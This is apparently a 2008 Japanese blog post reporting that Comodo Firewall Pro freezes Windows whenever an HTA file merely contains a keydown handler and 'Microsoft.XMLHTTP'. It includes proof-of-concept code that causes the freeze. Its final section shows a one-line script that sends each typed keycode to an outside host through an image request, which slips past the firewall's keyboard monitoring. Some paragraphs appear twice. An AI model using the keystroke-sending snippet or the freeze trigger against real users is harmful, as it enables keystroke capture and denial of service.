投稿日時 : 2008-08-28 17:16
フリー(無料)で高性能と噂のファイアウォールComodo Firewall Proを導入しようか検討していたんですが、自作のHTAアプリ起動したらOSを巻き込んでフリーズすることを発見。
・XPProSP3
・Comodo Firewall Pro 3.2.25.378

「Monitor Settings」タブ。今回のはここの「Object To Monitor Against Direct Access」の「Keyboard」に反応してるようです。

はじめは以下のような感じのコードに反応。
どこに反応してるのか絞り込むためコードを適当に削ってみる。これでも反応。
で、最終的に以下のようなJavascriptとしてまったく動作しないコードにも反応。つまり実際の動作を見てるのではなく、単にキーワードに反応してるだけということが判明。
イベントログには「Direct Keyboard Access」と記録されていました。

フォルダ単位で追加。

追加されたリスト

これでいけるハズ、と起動してみると・・・フリーズ!どうやら個別にhtaファイルを登録してもダメで、mshta.exe自体を登録する必要があるみたいです。htaの仕組み上仕方ないと言えば仕方ないかな・・・。
[参考]
SSL Free Firewall Two Factor Authentication Products from Comodo
Comodo Firewall Pro @ まとめ - トップページ
■症状
HTA内にJavascripのキーイベントハンドラー(onkeydownなど)やマウスイベントハンドラー(onclickなど)とXMLHTTPの2つのコードが含まれている場合に起こります。HTAを実行するとDEFENSE+の実行許可ダイアログが出て、通常なら「OK」ボタンか「Cancel」ボタンを選ぶわけですが、ボタンが押せません。Ctrl-Alt-Deleteもダメ。とにかく何もできなくなります。再現率も100%。これは明らかにバグなんじゃないでしょうか・・・■環境
・1GHz/512MB・XPProSP3
・Comodo Firewall Pro 3.2.25.378
■DEFENSE+の設定
「General Settings」タブ。ふつうにデフォルトのオプションでインストールしていじってません。
「Monitor Settings」タブ。今回のはここの「Object To Monitor Against Direct Access」の「Keyboard」に反応してるようです。

■実証コード
問題のフリーズするコード。テキストエディタに貼り付けて「.hta」で保存して実行。もちろんOSがフリーズする実証コードなので自己責任でそれなりの環境で。はじめは以下のような感じのコードに反応。
<html><body><script> document.onkeydown = function(){alert(event.keyCode)} var http = new ActiveXObject("Microsoft.XMLHTTP"); http.open("GET","http://www.yahoo.co.jp/",false); http.send(); document.body.innerText = http.responseText; </script></body></html>
どこに反応してるのか絞り込むためコードを適当に削ってみる。これでも反応。
<html><body><script> document.onkeydown var http = new ActiveXObject("Microsoft.XMLHTTP"); http.send(); </script></body></html>
で、最終的に以下のようなJavascriptとしてまったく動作しないコードにも反応。つまり実際の動作を見てるのではなく、単にキーワードに反応してるだけということが判明。
<html><script> onkeydown Microsoft.XMLHTTP </script></html>フリーズ時のダイアログには以下のようなメッセージ。VMWareで走らせればスクリーンショットとれたんですが用意が面倒なのでテキストで。
Security Considerations
mshta.exe is an unsafe application and it is about to access the keyboard directly. Accessing the keyboard directly allows an application to read the pressed keys or simurate the key strokes. Many applications use this to provide keyboard shortcut functionality. However, malware can also use this functionality to log the key strokes.
mshta.exe is an unsafe application and it is about to access the keyboard directly. Accessing the keyboard directly allows an application to read the pressed keys or simurate the key strokes. Many applications use this to provide keyboard shortcut functionality. However, malware can also use this functionality to log the key strokes.
イベントログには「Direct Keyboard Access」と記録されていました。

■My Own Safe Filesに登録してフリーズ回避・・・できない!?
仕方ないので条件に一致しそうなコードを含むプログラムは手動でDEFENSE+の「My Own Safe Files」に追加してフリーズを回避することにしました。フォルダ単位で追加。

追加されたリスト

これでいけるハズ、と起動してみると・・・フリーズ!どうやら個別にhtaファイルを登録してもダメで、mshta.exe自体を登録する必要があるみたいです。htaの仕組み上仕方ないと言えば仕方ないかな・・・。
■DEFENS+を回避してキーコードを送信してみる
フリーズするバグの話からはそれますが、思えばドメイン越えで入力されたキーコードを送信するなんて別にXMLHTTPを使わなくてもできるわけで、それを試してみた。<html><script> document.onkeydown = function(){ (new Image()).src = 'http://www.yahoo.co.jp/?key=' + event.keyCode; } </script></html>これはスルーされましたw。
[参考]
SSL Free Firewall Two Factor Authentication Products from Comodo
Comodo Firewall Pro @ まとめ - トップページ
スポンサーサイト
Trackbak URL:http://itmst.blog71.fc2.com/tb.php/138-7d6f9803